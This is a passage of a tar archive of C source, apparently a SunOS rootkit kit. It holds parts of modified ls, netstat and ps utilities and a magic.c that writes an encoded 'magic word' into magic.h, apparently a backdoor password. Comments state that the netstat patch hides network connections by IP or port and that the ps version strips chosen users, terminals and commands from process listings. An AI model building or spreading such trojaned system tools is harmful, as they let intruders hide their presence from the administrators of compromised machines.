(p->ltype == 's') { putc('=', stdout); curcol++; } else if (p->lflags & 0111) { putc('*', stdout); curcol++; } } } /* print various r,w,x permissions */ pmode(aflag) { /* these arrays are declared static to allow initializations */ static int m0[] = { 1, S_IREAD>>0, 'r', '-' }; static int m1[] = { 1, S_IWRITE>>0, 'w', '-' }; static int m2[] = { 3, S_ISUID|S_IEXEC, 's', S_IEXEC, 'x', S_ISUID, 'S', '-' }; static int m3[] = { 1, S_IREAD>>3, 'r', '-' }; static int m4[] = { 1, S_IWRITE>>3, 'w', '-' }; static int m5[] = { 3, S_ISGID|(S_IEXEC>>3),'s', S_IEXEC>>3,'x', S_ISGID,'S', '-'}; static int m6[] = { 1, S_IREAD>>6, 'r', '-' }; static int m7[] = { 1, S_IWRITE>>6, 'w', '-' }; static int m8[] = { 3, S_ISVTX|(S_IEXEC>>6),'t', S_IEXEC>>6,'x', S_ISVTX,'T', '-'}; static int *m[] = { m0, m1, m2, m3, m4, m5, m6, m7, m8}; register int **mp; flags = aflag; for (mp = &m[0]; mp < &m[sizeof(m)/sizeof(m[0])];) selectbits(*mp++); } selectbits(pairp) register int *pairp; { register int n; n = *pairp++; while (n-->0) { if((flags & *pairp) == *pairp) { pairp++; break; }else { pairp += 2; } } putchar(*pairp); curcol++; } /* * column: get to the beginning of the next column. */ column() { if (curcol == 0) return; if (mflg) { putc(',', stdout); curcol++; if (curcol + colwidth + 2 > num_cols) { putc('\n', stdout); curcol = 0; return; } putc(' ', stdout); curcol++; return; } if (Cflg == 0) { putc('\n', stdout); curcol = 0; return; } if ((curcol / colwidth + 2) * colwidth > num_cols) { putc('\n', stdout); curcol = 0; return; } do { putc(' ', stdout); curcol++; } while (curcol % colwidth); } new_line() { if (curcol) { putc('\n',stdout); curcol = 0; } } /* read each filename in directory dir and store its * status in flist[nfiles] * use makename() to form pathname dir/filename; */ rddir(dir) char *dir; { struct direct *dentry; DIR *dirf; extern char *malloc(); register struct lbuf *ep; register int width; if ((dirf = opendir(dir)) == NULL) { fflush(stdout); fprintf(stderr, "ls: "); perror(dir); err = 2; return; } else { tblocks = 0; while (dentry = readdir(dirf)) { if (aflg==0 && dentry->d_name[0]=='.' # ifndef DOTSUP && (dentry->d_name[1]=='\0' || dentry->d_name[1]=='.' && dentry->d_name[2]=='\0') # endif ) /* check for directory items '.', '..' */ continue; if (Cflg || mflg) { width = strlen(dentry->d_name); if (width > filewidth) filewidth = width; } ep = gstat(makename(dir, dentry->d_name), 0); if (ep==NULL) continue; else { ep->lnum = dentry->d_ino; ep->lname = malloc(dentry->d_namlen + 1); if (ep->lname==NULL) { fflush(stdout); fprintf(stderr, "ls: out of memory\n"); err = 2; nomocore = 1; break; } strcpy(ep->lname, dentry->d_name); } } closedir(dirf); colwidth = fixedwidth + filewidth; } } /* get status of file and recomputes tblocks; * argfl = 1 if file is a name in ls-command and = 0 * for filename in a directory whose name is an * argument in the command; * stores a pointer in flist[nfiles] and * returns that pointer; * returns NULL if failed; */ struct lbuf * gstat(file, argfl) char *file; { extern int stat(), lstat(); int (*statf)() = Lflg ? stat : lstat; struct stat statb, statb1; register struct lbuf *rep; char buf[MAXPATHLEN + 2]; register int cc; char *malloc(), *realloc(); if (nomocore) return(NULL); else if (nfiles >= maxfils) { /* all flist/lbuf pair assigned files time to get some more space */ maxfils += quantn; if((flist=(struct lbuf **)realloc((char *)flist, (unsigned)(maxfils * sizeof(struct lbuf *)))) == NULL || (nxtlbf = (struct lbuf *)malloc((unsigned)(quantn * sizeof(struct lbuf)))) == NULL) { fprintf(stderr, "ls: out of memory\n"); nomocore = 1; return(NULL); } } /* nfiles is reset to nargs for each directory * that is given as an argument maxn is checked * to prevent the assignment of an lbuf to a flist entry * that already has one assigned. */ if(nfiles >= maxn) { rep = nxtlbf++; flist[nfiles++] = rep; maxn = nfiles; }else { rep = flist[nfiles++]; } rep->lflags = 0; rep->llinkto = NULL; if (argfl || statreq) { if ((*statf)(file, &statb) < 0) { if (statf == lstat || lstat(file, &statb) < 0) { fflush(stdout); fprintf(stderr, "ls: "); perror(file); nfiles--; return(NULL); } } else { rep->lnum = statb.st_ino; rep->lsize = statb.st_size; rep->lblks = statb.st_blocks; switch(statb.st_mode&S_IFMT) { case S_IFDIR: rep->ltype = 'd'; break; case S_IFBLK: rep->ltype = 'b'; rep->lsize = statb.st_rdev; break; case S_IFCHR: rep->ltype = 'c'; rep->lsize = statb.st_rdev; break; case S_IFIFO: rep->ltype = 'p'; break; case S_IFSOCK: rep->ltype = 's'; rep->lsize = 0; break; case S_IFLNK: rep->ltype = 'l'; if (lflg) { cc = readlink(file, buf, MAXPATHLEN); if (cc >= 0) { /* * here we follow the symbolic * link to generate the proper * Fflg marker for the object, * eg, /bin -> /pub/bin/ */ if (Fflg && !stat(file, &statb1)) switch (statb1.st_mode & S_IFMT){ case S_IFDIR: buf[cc++] = '/'; break; case S_IFSOCK: buf[cc++] = '='; break; default: if ( (statb1.st_mode & ~S_IFMT) & 0111) buf[cc++] = '*'; break; } buf[cc] = '\0'; rep->llinkto = malloc(strlen(buf) + 1); if (rep->llinkto==NULL) { fflush(stdout); fprintf(stderr, "ls: out of memory\n"); err = 2; nomocore = 1; break; } strcpy(rep->llinkto, buf); } break; } /* * this is a hack from UCB to avoid having * ls /bin behave differently from ls /bin/ * when /bin is a symbolic link. We hack the * hack to have that happen, but only for * explicit arguments, by inspecting argfl. */ if (!argfl || stat(file, &statb1) < 0) break; if ((statb1.st_mode & S_IFMT) == S_IFDIR) { statb = statb1; rep->ltype = 'd'; rep->lsize = statb.st_size; rep->lblks = statb.st_blocks; } break; default: rep->ltype = '-'; } rep->lflags = statb.st_mode & ~S_IFMT; /* mask ISARG and other file-type bits */ rep->luid = statb.st_uid; rep->lgid = statb.st_gid; rep->lnl = statb.st_nlink; if(uflg) rep->lmtime = statb.st_atime; else if (cflg) rep->lmtime = statb.st_ctime; else rep->lmtime = statb.st_mtime; if (rep->ltype != 'b' && rep->ltype != 'c') tblocks += statb.st_blocks; } } return(rep); } /* returns pathname of the form dir/file; * dir is a null-terminated string; */ char * makename(dir, file) char *dir, *file; { static char dfile[MAXPATHLEN+1]; /* dfile is static as this is returned * by makename(); */ if (strlen(dir)+1+strlen(file) > MAXPATHLEN) { fprintf(stderr, "ls: filename too long\n"); exit(1); } if (strcmp(dir, "") == 0 || strcmp(dir, ".") == 0) { (void) strcpy(dfile, file); return(dfile); } (void) strcpy(dfile, dir); if (dir[strlen(dir) - 1] != '/' && *file != '/') (void) strcat(dfile, "/"); (void) strcat(dfile, file); return(dfile); } /* rest should be done with nameserver or database */ #include #include #include struct utmp utmp; #define NMAX (sizeof (utmp.ut_name)) #define SCPYN(a, b) strncpy(a, b, NMAX) #undef MAXUID #define MAXUID 2048 #define MINUID -2 /* for nfs */ #define MAXGID 300 char namebuf[MAXUID - MINUID][NMAX+1]; char (*names)[NMAX+1] = namebuf - MINUID; char outrangename[NMAX+1]; int outrangeuid = -1; char groups[MAXGID][NMAX+1]; char outrangegroup[NMAX+1]; int outrangegid = -1; char * getname(uid) { register struct passwd *pw; extern struct passwd *getpwuid(); if (uid >= MINUID && uid < MAXUID && names[uid][0]) return (&names[uid][0]); if (uid >= MINUID && uid == outrangeuid) return (outrangename); if (uid < MINUID) return (NULL); pw = getpwuid(uid); if (pw == NULL) return (NULL); if (uid >= MINUID && uid < MAXUID) { SCPYN(names[uid], pw->pw_name); return (&names[uid][0]); } outrangeuid = uid; SCPYN(outrangename, pw->pw_name); return (outrangename); } char * getgroup(gid) { register struct group *gr; static init; extern struct group *getgrent(); if (gid >= 0 && gid < MAXGID && groups[gid][0]) return (&groups[gid][0]); if (gid >= 0 && gid == outrangegid) return (outrangegroup); rescan: if (init == 2) { if (gid < MAXGID) return (0); setgrent(); while (gr = getgrent()) { if (gr->gr_gid != gid) continue; outrangegid = gr->gr_gid; SCPYN(outrangegroup, gr->gr_name); endgrent(); return (outrangegroup); } endgrent(); return (0); } if (init == 0) setgrent(), init = 1; while (gr = getgrent()) { if (gr->gr_gid < 0 || gr->gr_gid >= MAXGID) { if (gr->gr_gid == gid) { outrangegid = gr->gr_gid; SCPYN(outrangegroup, gr->gr_name); return (outrangegroup); } continue; } if (groups[gr->gr_gid][0]) continue; SCPYN(groups[gr->gr_gid], gr->gr_name); if (gr->gr_gid == gid) return (&groups[gid][0]); } init = 2; goto rescan; } compar(pp1, pp2) /* return >0 if item pointed by pp2 should appear first */ struct lbuf **pp1, **pp2; { register struct lbuf *p1, *p2; p1 = *pp1; p2 = *pp2; if (dflg==0) { /* compare two names in ls-command one of which is file * and the other is a directory; * this portion is not used for comparing files within * a directory name of ls-command; */ if (p1->lflags&ISARG && p1->ltype=='d') { if (!(p2->lflags&ISARG && p2->ltype=='d')) return(1); } else { if (p2->lflags&ISARG && p2->ltype=='d') return(-1); } } if (tflg) { if(p2->lmtime == p1->lmtime) return(0); else if(p2->lmtime > p1->lmtime) return(rflg); else return(-rflg); } else return(rflg * strcmp(p1->lname, p2->lname)); } pprintf(s) register char *s; { register int c; register int cc; while(c = *s++) { if (!isprint(c)) { if (qflg) c = '?'; else if (bflg) { curcol += 3; putc ('\\', stdout); cc = '0' + (c>>6 & 07); putc (cc, stdout); cc = '0' + (c>>3 & 07); putc (cc, stdout); c = '0' + (c & 07); } } curcol++; putc(c, stdout); } } magic.c100600 0 0 1445 77607620340 10410 0ustar rootroot #include #include "code.h" char getlinel(line,len) char line[]; int len; { int j; fflush(stdout); j=0; while (j<(len-1)) { if (read(0,line+j,1) == 0) { line[j]='\0'; return EOF; } if (line[j] == 0x0d ) continue; if (line[j] == '\n' ) { line[j] ='\0'; return NULL; } if (line[j] == '\b') j--; else j++; } line[len]='\0'; return NULL; } main() { char b[80],*a; FILE *fd; if((fd=fopen("magic.h","w"))==NULL) { printf("couldnt open destination file\n"); exit(-1); } a=b; printf("Enter Magic word: "); getlinel(a,10); code(a); fprintf(fd,"char magic[] = { "); while(*a!='\0') { fprintf(fd,"%d, ",*a); a++; } fprintf(fd,"0, };\n"); fclose(fd); return 0; } main.c100600 0 0 15004 77607620340 10270 0ustar rootroot/*+ * sun4 netstat patch. Hides network connections * based upon ip or port. +*/ /* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1983 Regents of the University of California.\n\ All rights reserved.\n"; #endif not lint #ifndef lint static char sccsid[] = "@(#)main.c 1.1 91/11/13 SMI"; /* from UCB 5.7 5/22/86 */ #endif #include #include #include #include #include #include #include #include #include #include struct nlist nl[] = { #define N_MBSTAT 0 { "_mbstat" }, #define N_IPSTAT 1 { "_ipstat" }, #define N_TCB 2 { "_tcb" }, #define N_TCPSTAT 3 { "_tcpstat" }, #define N_UDB 4 { "_udb" }, #define N_UDPSTAT 5 { "_udpstat" }, #define N_IFNET 6 { "_ifnet" }, #define N_HOSTS 7 { "_hosts" }, #define N_RTHOST 8 { "_rthost" }, #define N_RTNET 9 { "_rtnet" }, #define N_ICMPSTAT 10 { "_icmpstat" }, #define N_RTSTAT 11 { "_rtstat" }, #define N_NFILE 12 { "_nfile" }, #define N_FILE 13 { "_file" }, #define N_UNIXSW 14 { "_unixsw" }, #define N_RTHASHSIZE 15 { "_rthashsize" }, #define N_IDP 16 { "_nspcb"}, #define N_IDPSTAT 17 { "_idpstat"}, #define N_SPPSTAT 18 { "_spp_istat"}, #define N_NSERR 19 { "_ns_errstat"}, #define N_STRST 20 { "_strst" }, #define N_NSTRBUFSZ 21 { "_nstrbufsz" }, #define N_STRBUFSIZES 22 { "_strbufsizes" }, #define N_STRBUFSTAT 23 { "_strbufstat" }, "", }; /* internet protocols */ extern int protopr(); extern int tcp_stats(), udp_stats(), ip_stats(), icmp_stats(); #ifdef ENABLE_XNS extern int nsprotopr(); extern int spp_stats(), idp_stats(), nserr_stats(); #endif ENABLE_XNS struct protox { u_char pr_index; /* index into nlist of cb head */ u_char pr_sindex; /* index into nlist of stat block */ u_char pr_wanted; /* 1 if wanted, 0 otherwise */ int (*pr_cblocks)(); /* control blocks printing routine */ int (*pr_stats)(); /* statistics printing routine */ char *pr_name; /* well-known name */ } protox[] = { { N_TCB, N_TCPSTAT, 1, protopr, tcp_stats, "tcp" }, { N_UDB, N_UDPSTAT, 1, protopr, udp_stats, "udp" }, { -1, N_IPSTAT, 1, 0, ip_stats, "ip" }, { -1, N_ICMPSTAT, 1, 0, icmp_stats, "icmp" }, { -1, -1, 0, 0, 0, 0 } }; #ifdef ENABLE_XNS struct protox nsprotox[] = { { N_IDP, N_IDPSTAT, 1, nsprotopr, idp_stats, "idp" }, { N_IDP, N_SPPSTAT, 1, nsprotopr, spp_stats, "spp" }, { -1, N_NSERR, 1, 0, nserr_stats, "ns_err" }, { -1, -1, 0, 0, 0, 0 } }; #endif ENABLE_XNS char *system = NULL; char *kmemf = NULL; kvm_t *kd; int Aflag; int aflag; int iflag; int mflag; int nflag; int rflag; int sflag; int tflag; int interval; char *interface; int unit; char usage[] = "[ -Aaimnrst ] [-f address_family] [-I interface] [ interval ] [ system ] [ core ]"; int af = AF_UNSPEC; main(argc, argv) int argc; char *argv[]; { char *cp, *name; register struct protoent *p; register struct protox *tp; name = argv[0]; argc--, argv++; while (argc > 0 && **argv == '-') { for (cp = &argv[0][1]; *cp; cp++) switch(*cp) { case 'A': Aflag++; break; case 'a': aflag++; break; case 'i': iflag++; break; case 'm': mflag++; break; case 'n': nflag++; break; case 'r': rflag++; break; case 's': sflag++; break; case 't': tflag++; break; case 'u': af = AF_UNIX; break; case 'f': argv++; argc--; if (argc < 1) { fprintf(stderr, "address family not specified\n"); exit(10); } if (strcmp(*argv, "inet") == 0) af = AF_INET; #ifdef ENABLE_XNS else if (strcmp(*argv, "ns") == 0) af = AF_NS; #endif ENABLE_XNS else if (strcmp(*argv, "unix") == 0) af = AF_UNIX; else { fprintf(stderr, "%s: unknown address family\n", *argv); exit(10); } break; case 'I': iflag++; if (*(interface = cp + 1) == 0) { if ((interface = argv[1]) == 0) break; argv++; argc--; } for (cp = interface; isalpha(*cp); cp++) ; unit = atoi(cp); *cp-- = 0; break; default: use: printf("usage: %s %s\n", name, usage); exit(1); } argv++, argc--; } if (argc > 0 && isdigit(argv[0][0])) { interval = atoi(argv[0]); if (interval <= 0) goto use; argv++, argc--; iflag++; } if (argc > 0) { system = *argv; argv++, argc--; } if (argc > 0) kmemf = *argv; if ((kd = kvm_open(system, kmemf, NULL, O_RDONLY, argv[0])) == NULL) { if (system == NULL) fprintf(stderr, "Unable to read kernel VM\n"); else fprintf(stderr, "Unable to read kernel VM for %s\n", system); exit(1); } if (kvm_nlist(kd, nl) < 0) { fprintf(stderr, "netstat: bad namelist\n"); exit(1); } if (mflag) { mbpr(nl[N_MBSTAT].n_value); printf("\n"); strstpr(nl[N_STRST].n_value, nl[N_NSTRBUFSZ].n_value, nl[N_STRBUFSIZES].n_value, nl[N_STRBUFSTAT].n_value); exit(0); } /* * Keep file descriptors open to avoid overhead * of open/close on each call to get* routines. */ sethostent(1); setnetent(1); if (iflag) { intpr(interval, nl[N_IFNET].n_value); exit(0); } if (rflag) { if (sflag) rt_stats(nl[N_RTSTAT].n_value); else routepr(nl[N_RTHOST].n_value, nl[N_RTNET].n_value, nl[N_RTHASHSIZE].n_value); exit(0); } if (af == AF_INET || af == AF_UNSPEC) { setprotoent(1); setservent(1); while (p = getprotoent()) { for (tp = protox; tp->pr_name; tp++) if (strcmp(tp->pr_name, p->p_name) == 0) break; if (tp->pr_name == 0 || tp->pr_wanted == 0) continue; if (sflag) { if (tp->pr_stats) (*tp->pr_stats)(nl[tp->pr_sindex].n_value, p->p_name); } else if (tp->pr_cblocks) (*tp->pr_cblocks)(nl[tp->pr_index].n_value, p->p_name); } endprotoent(); } #ifdef ENABLE_XNS if (af == AF_NS || af == AF_UNSPEC) { for (tp = nsprotox; tp->pr_name; tp++) { if (sflag) { if (tp->pr_stats) (*tp->pr_stats)(nl[tp->pr_sindex].n_value, tp->pr_name); } else if (tp->pr_cblocks) (*tp->pr_cblocks)(nl[tp->pr_index].n_value, tp->pr_name); } } #endif ENABLE_XNS if ((af == AF_UNIX || af == AF_UNSPEC) && !sflag) unixpr(nl[N_NFILE].n_value, nl[N_FILE].n_value, nl[N_UNIXSW].n_value); exit(0); /* NOTREACHED */ } kread(addr, buf, nbytes) unsigned long addr; char *buf; unsigned nbytes; { return kvm_read(kd, addr, buf, nbytes); } char * plural(n) int n; { return (n != 1 ? "s" : ""); } mbuf.c100600 0 0 17313 77607620340 10302 0ustar rootroot/* * Copyright (c) 1983, 1988 Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * advertising materials, and other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. */ #ifndef lint static char sccsid[] = "@(#)mbuf.c 1.1 91/11/13 SMI"; /* from UCB 5.6 6/29/88 */ #endif #include #include #include #include #include #include #define YES 1 typedef int bool; struct mbstat mbstat; extern int kread(); static struct mbtypes { int mt_type; char *mt_name; } mbtypes[] = { { MT_DATA, "data" }, { MT_HEADER, "packet headers" }, { MT_SOCKET, "socket structures" }, { MT_PCB, "protocol control blocks" }, { MT_RTABLE, "routing table entries" }, { MT_HTABLE, "IMP host table entries" }, { MT_ATABLE, "address resolution tables" }, { MT_FTABLE, "fragment reassembly queue headers" }, { MT_SONAME, "socket names and addresses" }, { MT_ZOMBIE, "zombie process information" }, { MT_SOOPTS, "socket options" }, { MT_RIGHTS, "access rights" }, { MT_IFADDR, "interface addresses" }, { 0, 0 } }; int nmbtypes = sizeof(mbstat.m_mtypes) / sizeof(short); bool seen[256]; /* "have we seen this type yet?" */ /* * Print mbuf statistics. */ mbpr(mbaddr) off_t mbaddr; { register int totmem, totfree, totmbufs; register int i; register struct mbtypes *mp; if (nmbtypes != 256) { fprintf(stderr, "unexpected change to mbstat; check source\n"); return; } if (mbaddr == 0) { printf("mbstat: symbol not in namelist\n"); return; } kread(mbaddr, &mbstat, sizeof (mbstat)); printf("%d/%d mbufs in use:\n", mbstat.m_mbufs - mbstat.m_mtypes[MT_FREE], mbstat.m_mbufs); totmbufs = 0; /* * Tally up totals for known mbuf types. */ for (mp = mbtypes; mp->mt_name; mp++) if (mbstat.m_mtypes[mp->mt_type]) { seen[mp->mt_type] = YES; printf("\t%d mbufs allocated to %s\n", mbstat.m_mtypes[mp->mt_type], mp->mt_name); totmbufs += mbstat.m_mtypes[mp->mt_type]; } seen[MT_FREE] = YES; /* * Tally up totals for unknown mbuf types * (ones that don't appear in the mbtypes table). */ for (i = 0; i < nmbtypes; i++) if (!seen[i] && mbstat.m_mtypes[i]) { printf("\t%d mbufs allocated to \n", mbstat.m_mtypes[i], i); totmbufs += mbstat.m_mtypes[i]; } if (totmbufs != mbstat.m_mbufs - mbstat.m_mtypes[MT_FREE]) printf("*** %d mbufs missing ***\n", (mbstat.m_mbufs - mbstat.m_mtypes[MT_FREE]) - totmbufs); printf("%d/%d cluster buffers in use\n", mbstat.m_clusters - mbstat.m_clfree, mbstat.m_clusters); /* * XXX: Should account for MCL_LOANED mbufs here, too, but that * requires examining all the mbuf headers. */ totmem = mbstat.m_mbufs * MSIZE + mbstat.m_clusters * MCLBYTES; totfree = mbstat.m_mtypes[MT_FREE]*MSIZE + mbstat.m_clfree * MCLBYTES; printf("%d Kbytes allocated to network (%d%% in use)\n", totmem / 1024, (totmem - totfree) * 100 / totmem); printf("%d requests for memory denied\n", mbstat.m_drops); printf("%u requests for memory delayed\n", mbstat.m_wait); printf("%u calls to protocol drain routines\n", mbstat.m_drain); } /* * Streams allocation statistics code. */ struct strstat strst; u_int nstrbufsz; alcdat *strbufstat; /* * Print statistics for streams allocation. */ strstpr(straddr, nstrbufszaddr, strbufsizesaddr, strbufstataddr) off_t straddr; off_t nstrbufszaddr; off_t strbufsizesaddr; off_t strbufstataddr; { register int i; register u_int size; register struct strstat *s = &strst; register u_int *strbufsizes; register alcdat *sbs; char buf[50]; /* * Maximize the probability of getting an internally consistent * snapshot by gathering all data before printing anything. */ if (straddr == 0 || nstrbufszaddr == 0 || strbufsizesaddr == 0 || strbufstataddr == 0) return; /* * Grab the strst structure (which contains overall STREAMS * statistics). */ if (kread(straddr, (char *)&strst, sizeof strst) != sizeof strst) { printf("prstrst: bad read\n"); return; } /* * Get number of buckets for actual buffer allocations. */ if (kread(nstrbufszaddr, (char *)&nstrbufsz, sizeof nstrbufsz) != sizeof nstrbufsz) { (void) fprintf(stderr, "strstpr: bad read of nstrbufsz\n"); return; } /* * Allocate space for the strbufsizes array and pull it in. */ size = sizeof *strbufsizes * nstrbufsz; strbufsizes = (u_int *) malloc(size); if (strbufsizes == NULL) { (void) fprintf(stderr, "strstpr: bad malloc of strbufsizes\n"); return; } if (kread(strbufsizesaddr, (char *)strbufsizes, size) != size) { (void) fprintf(stderr, "strstpr: bad read of strbufsizes\n"); return; } /* * Allocate space for the strbufstat array and pull it in. Note that * it contains two extra entries at the beginning for external buffers * and buffers embedded in dblks. Also, since the kernel itself * dynamically allocates space for this array, we have to go through * an extra level of indirection here. */ if (kread(strbufstataddr, (char *)&strbufstat, sizeof strbufstat) != sizeof strbufstat) { (void) fprintf(stderr, "strstpr: bad read of strbufstat\n"); return; } size = sizeof *sbs * (2 + nstrbufsz); sbs = (alcdat *) malloc(size); if (strbufstat == NULL) { (void) fprintf(stderr, "strstpr: bad malloc of strbufstat array\n"); return; } if (kread((off_t)strbufstat, (char *)sbs, size) != size) { (void) fprintf(stderr, "strstpr: bad read of strbufstat array\n"); return; } /* * Display overall STREAMS data. */ printf("streams allocation:\n"); printf("%*s%s\n", 41, "", "cumulative allocation"); printf("%*s%s\n", 22, "", "current maximum total failures"); pf_strstat("streams", &s->stream); pf_strstat("queues", &s->queue); pf_strstat("mblks", &s->mblock); pf_strstat("dblks", &s->dblock); /* * Display buffer-related data. */ printf("streams buffers:\n"); pf_strstat("external", &sbs[0]); pf_strstat("within-dblk", &sbs[1]); for (i = 0; i < nstrbufsz - 1; i++) { (void) sprintf(buf, "size <= %5d", strbufsizes[i]); pf_strstat(buf, &sbs[i + 2]); } (void) sprintf(buf, "size > %5d", strbufsizes[nstrbufsz - 2]); pf_strstat(buf, &sbs[nstrbufsz + 1]); } /* * Print a line of streams allocation information, as recorded * in the (alcdat *) given as argument. */ pf_strstat(label, alp) char *label; alcdat *alp; { printf("%s%*s%6d %6d %7d %6d\n", label, 23 - strlen(label), "", /* Move to column 24 */ alp->use, alp->max, alp->total, alp->fail); } #ifdef notdef /* * Streams display layout follows. */ streams allocation: cumulative allocation current maximum total failures streams 000000 000000 0000000 000000 queues 000000 000000 0000000 000000 mblks 000000 000000 0000000 000000 dblks 000000 000000 0000000 000000 streams buffers: external 000000 000000 0000000 000000 within-dblk 000000 000000 0000000 000000 size <= ll 000000 000000 0000000 000000 size <= mmm 000000 000000 0000000 000000 size <= nnnn 000000 000000 0000000 000000 size > nnnn 000000 000000 0000000 000000 #endif notdef ns.c100600 0 0 13527 77607620340 7774 0ustar rootroot/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint static char sccsid[] = "@(#)ns.c 1.1 91/11/13 SMI"; /* from UCB 5.3 9/12/85 */ #endif #ifdef ENABLE_XNS #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SANAMES #include struct nspcb nspcb; struct sppcb sppcb; struct socket sockb; struct protosw proto; extern int kread(); extern int Aflag; extern int aflag; extern int nflag; char *ns_prpr(); static int first = 1; /* * Print a summary of connections related to a Network Systems * protocol. For SPP, also give state of connection. * Listening processes (aflag) are suppressed unless the * -a (all) flag is specified. */ nsprotopr(off, name) off_t off; char *name; { struct nspcb cb; register struct nspcb *prev, *next; int isspp; if (off == 0) return; isspp = strcmp(name, "spp") == 0; kread(off, &cb, sizeof (struct nspcb)); nspcb = cb; prev = (struct nspcb *)off; if (nspcb.nsp_next == (struct nspcb *)off) return; for (;nspcb.nsp_next != (struct nspcb *)off; prev = next) { char *cp; off_t ppcb; next = nspcb.nsp_next; kread((off_t)next, &nspcb, sizeof (nspcb)); if (nspcb.nsp_prev != prev) { printf("???\n"); break; } if (!aflag && ns_nullhost(nspcb.nsp_faddr) ) { continue; } kread((off_t)nspcb.nsp_socket, &sockb, sizeof (sockb)); ppcb = (off_t) nspcb.nsp_pcb; if (ppcb) { if (isspp) { kread(ppcb, &sppcb, sizeof (sppcb)); } else continue; } else if (isspp) continue; if (first) { printf("Active NS connections"); if (aflag) printf(" (including servers)"); putchar('\n'); if (Aflag) printf("%-8.8s ", "PCB"); printf(Aflag ? "%-5.5s %-6.6s %-6.6s %-18.18s %-18.18s %s\n" : "%-5.5s %-6.6s %-6.6s %-22.22s %-22.22s %s\n", "Proto", "Recv-Q", "Send-Q", "Local Address", "Foreign Address", "(state)"); first = 0; } if (Aflag) printf("%8x ", ppcb); printf("%-5.5s %6d %6d ", name, sockb.so_rcv.sb_cc, sockb.so_snd.sb_cc); printf(" %-22.22s", ns_prpr(&nspcb.nsp_laddr)); printf(" %-22.22s", ns_prpr(&nspcb.nsp_faddr)); if (isspp) { extern char *tcpstates[]; if (sppcb.s_state < 0 || sppcb.s_state >= TCP_NSTATES) printf(" %d", sppcb.s_state); else printf(" %s", tcpstates[sppcb.s_state]); } putchar('\n'); prev = next; } } #define ANY(x,y,z) ((x) ? printf("\t%d %s%s%s\n",x,y,plural(x),z) : 0) /* * Dump SPP statistics structure. */ spp_stats(off, name) off_t off; char *name; { struct spp_istat spp_istat; if (off == 0) return; kread(off, (char *)&spp_istat, sizeof (spp_istat)); printf("%s:\n", name); ANY(spp_istat.nonucn, "connection", " dropped due to no new sockets "); ANY(spp_istat.gonawy, "connection", " terminated due to our end dying"); ANY(spp_istat.nonucn, "connection", " dropped due to inability to connect"); ANY(spp_istat.noconn, "connection", " dropped due to inability to connect"); ANY(spp_istat.notme, "connection", " incompleted due to mismatched id's"); ANY(spp_istat.wrncon, "connection", " dropped due to mismatched id's"); ANY(spp_istat.bdreas, "packet", " dropped out of sequence"); ANY(spp_istat.lstdup, "packet", " duplicating the highest packet"); ANY(spp_istat.notyet, "packet", " refused as exceeding allocation"); } /* * Dump IDP statistics structure. */ idp_stats(off, name) off_t off; char *name; { struct idpstat idpstat; if (off == 0) return; kread(off, (char *)&idpstat, sizeof (idpstat)); ANY(idpstat.idps_toosmall, "packet", " smaller than a header"); ANY(idpstat.idps_tooshort, "packet", " smaller than advertised"); ANY(idpstat.idps_badsum, "packet", " with bad checksums"); } static char *((ns_errnames[])[2]) = { {"Unspecified Error", " at Destination"}, {"Bad Checksum", " at Destination"}, {"No Listener", " at Socket"}, {"Packet", " Refused due to lack of space at Destination"}, {"Unspecified Error", " while gatewayed"}, {"Bad Checksum", " while gatewayed"}, {"Packet", " forwarded too many times"}, {"Packet", " too large to be forwarded"}, }; /* * Dump NS Error statistics structure. */ nserr_stats(off, name) off_t off; char *name; { struct ns_errstat ns_errstat; register int j; register int histoprint = 1; int z; if (off == 0) return; kread(off, (char *)&ns_errstat, sizeof (ns_errstat)); printf("NS error statistics:\n"); ANY(ns_errstat.ns_es_error, "call", " to ns_error"); ANY(ns_errstat.ns_es_oldshort, "error", " ignored due to insufficient addressing"); ANY(ns_errstat.ns_es_oldns_err, "error request", " in response to error packets"); ANY(ns_errstat.ns_es_tooshort, "error packet", " received incomplete"); ANY(ns_errstat.ns_es_badcode, "error packet", " received of unknown type"); for(j = 0; j < NS_ERR_MAX; j ++) { z = ns_errstat.ns_es_outhist[j]; if (z && histoprint) { printf("Output Error Histogram:\n"); histoprint = 0; } ANY(z, ns_errnames[j][0], ns_errnames[j][1]); } histoprint = 1; for(j = 0; j < NS_ERR_MAX; j ++) { z = ns_errstat.ns_es_inhist[j]; if (z && histoprint) { printf("Input Error Histogram:\n"); histoprint = 0; } ANY(z, ns_errnames[j][0], ns_errnames[j][1]); } } static struct sockaddr_ns ssns = {AF_NS}; char *ns_prpr(x) struct ns_addr *x; { extern char *ns_print(); struct sockaddr_ns *sns = &ssns; sns->sns_addr = *x; return(ns_print(sns)); } #endif ENABLE_XNS ps.c100600 0 0 106532 5656060636 7776 0ustar rootroot/* Modified ps to strip out uids, ptys, ttys, or commands currently in the process list. */ /* * Copyright (c) 1980 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980 Regents of the University of California.\n\ All rights reserved.\n"; #endif not lint #ifndef lint static char sccsid[] = "@(#)ps.c 1.1 91/11/13 SMI"; /* from UCB 5.9 5/8/86 */ #endif not lint #include #include #include #include #include #include #include #define KERNEL #include #undef KERNEL #include #include #include #include #include #include #include #include #include #include #include "config.h" char *nl_names[] = { "_proc", #define X_PROC 0 "_ccpu", #define X_CCPU 1 "_nproc", #define X_NPROC 2 "_file", #define X_FILE 3 "_cfree", #define X_CFREE 4 "_callout", #define X_CALLOUT 5 "_kernelmap", #define X_KERNELMAP 6 "_mbmap", #define X_MBMAP 7 "_dquot", #define X_DQUOT 8 "_boottime", #define X_BOOTTIME 9 /* Symbols related to the new VM system -- may change */ "_pages", #define X_PAGES 10 "_epages", #define X_EPAGES 11 #ifdef sun "_rconsdev", #define X_RCONSDEV 12 #endif sun "" }; struct nlist *nl; /* all because we can't init unions */ int nllen; /* # of nlist entries */ struct savcom { union { struct jsav *jp; struct lsav *lp; float u_pctcpu; struct vsav *vp; } 